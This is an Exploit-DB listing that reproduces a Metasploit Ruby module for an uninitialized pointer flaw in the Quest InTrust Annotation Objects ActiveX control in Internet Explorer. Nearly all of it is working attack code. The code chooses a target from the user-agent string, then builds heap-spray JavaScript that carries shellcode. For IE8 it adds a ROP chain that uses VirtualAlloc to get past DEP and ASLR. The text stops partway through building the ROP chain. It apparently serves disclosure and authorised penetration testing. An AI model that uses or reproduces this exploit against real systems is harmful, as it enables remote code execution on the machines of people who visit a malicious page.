Exploit-DB #18735
Description: Quest InTrust - Annotation Objects Uninitialized Pointer (Metasploit)
Type: remote
Platform: windows
Date: 2012-04-13
Author: Metasploit

Exploit:
###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super( update_info(info,
			'Name'           => 'Quest InTrust Annotation Objects Uninitialized Pointer',
			'Description'    => %q{
					This module exploits an uninitialized variable vulnerability in the
				Annotation Objects ActiveX component. The activeX component loads into memory without
				opting into ALSR so this module exploits the vulnerability against windows Vista and
				Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX
				points to part of the ROP chain in a heap chunk and the calculated call will hit the
				pivot in a separate heap chunk. This will take some time in the users browser.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>',             # initial discovery & poc
					'mr_me <steventhomasseeley[at]gmail.com>'   # msf module
				],
			'References'     =>
				[
					[ 'OSVDB', '80662'],
					[ 'BID', '52765'],
					[ 'URL', 'http://www.exploit-db.com/exploits/18674/']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]
					# calculation: <targetaddress> - 0x44024a50 / 4 = Ret
					[ 'Automatic', {} ],

					# Windows XP/Vista/IE6/IE7 target
					[
						'Windows XP/Vista SP0-SP3 (IE6/IE7)',
						{
							'Ret' => 0x76767676,
						}
					],

					# Windows XP/IE8 target - ASLR/DEP Bypass
					[
						'Windows XP SP0-SP3 DEP bypass (IE8)',
						{
							'Ret' => 0x31AAAD78,
						}
					],

					# Windows 7/Vista/IE8 target - ASLR/DEP Bypass
					[
						'Windows 7/Vista ALSR/DEP bypass (IE8)',
						{
							'Ret' => 0x31AAAD78,
						}
					]
				],
			'DisclosureDate' => 'Mar 28 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
			], self.class)
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def nops(s)
		nops = make_nops(4).unpack("N*") * s
		return nops
	end

	def on_request_uri(cli, request)
		#Set target manually or automatically
		my_target = target
		if my_target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/	# xp/ie6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/	# xp/ie7
				my_target = targets[1]
			elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/	# vista/ie7
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/	# xp/ie8
				my_target = targets[2]
			elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/	# vista/ie8
				my_target = targets[2]
			elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/	# win7/ie8
				my_target = targets[3]
			end
		end

		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# shellcode
		sc = Rex::Text.to_unescape(p.encoded)

		# Randomize object name
		obj_name  = rand_text_alpha(rand(100) + 1)
		main_sym  = 'main' #main function name

		if my_target.name =~ /IE6/ or my_target.name =~ /IE7/

			js = <<-EOS
			function heapspray(){
				shellcode = unescape('#{sc}');
				bigblock = unescape("%u0c0c%u0c0c");
				headersize = 20;
				slackspace = headersize+shellcode.length;
				while (bigblock.length<slackspace){ bigblock+=bigblock; }
				fillblock = bigblock.substring(0, slackspace);
				block = bigblock.substring(0, bigblock.length-slackspace);
				while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
				memory = new Array();
				for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
			}

			function main(){
				heapspray();
  				#{obj_name}.Add(#{my_target.ret},1);
			}
			EOS

		end

		if my_target.name =~ /IE8/

			# all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)
			rop_gadgets = [
				junk,
				junk,
				junk,
				0x44014075  # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)
			].pack('V*')

			rop_gadgets << [0x44015CEF].pack('V*') * 140	# padding of retn's

			rop_gadgets << [
				0x44015CEF,  # retn
				0x44015CEF,  # retn
				0x44015CEF,  # retn
				0x44015cee,  # pop edx ; retn
				0x4401a130,  # ptr to &VirtualAlloc() (IAT)
				0x44015ca4,  # mov eax,[edx+4] ; retn
				0x44001218,  # push eax ; dec eax ; pop esi ; pop ebp ; retn 14
				junk,        # filler (compensate)
				0x440159bb,  # pop ebp ; retn
				junk,        # filler (retn offset compensation)
				junk,        # filler (retn offset compensation)
				junk,        # filler (retn offset compensation)
				junk,        # filler (retn offset compensation)
				0x4400238A,  # filler (pop edi ; pop esi ; pop ebp ; retn)
				0x440012c1,  # push esp ; ret 08
				0x44016264,  # pop ebx ; retn
				0x00004000,  # 0x00000001-> ebx
				0x44015cc9,  # pop edx ; retn
				0x00001000,  # 0x00001000-> edx
				0x44017664,  # pop ecx ; retn
				0x00000040,  # 0x00000040-> ecx
				0x44017bd8,  # pop edi ; retn
				0x44017ebe,  # retn
				0x4400bf25,  # pop eax ; retn
				0x0C0C2478,  # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn
				0x44005C57,  # pushad ; push 8 ; push ecx; push esi; call [eax+c]
				0x90909090,  # nops, do not change as it changes the offset
				nops(11)
			].flatten.pack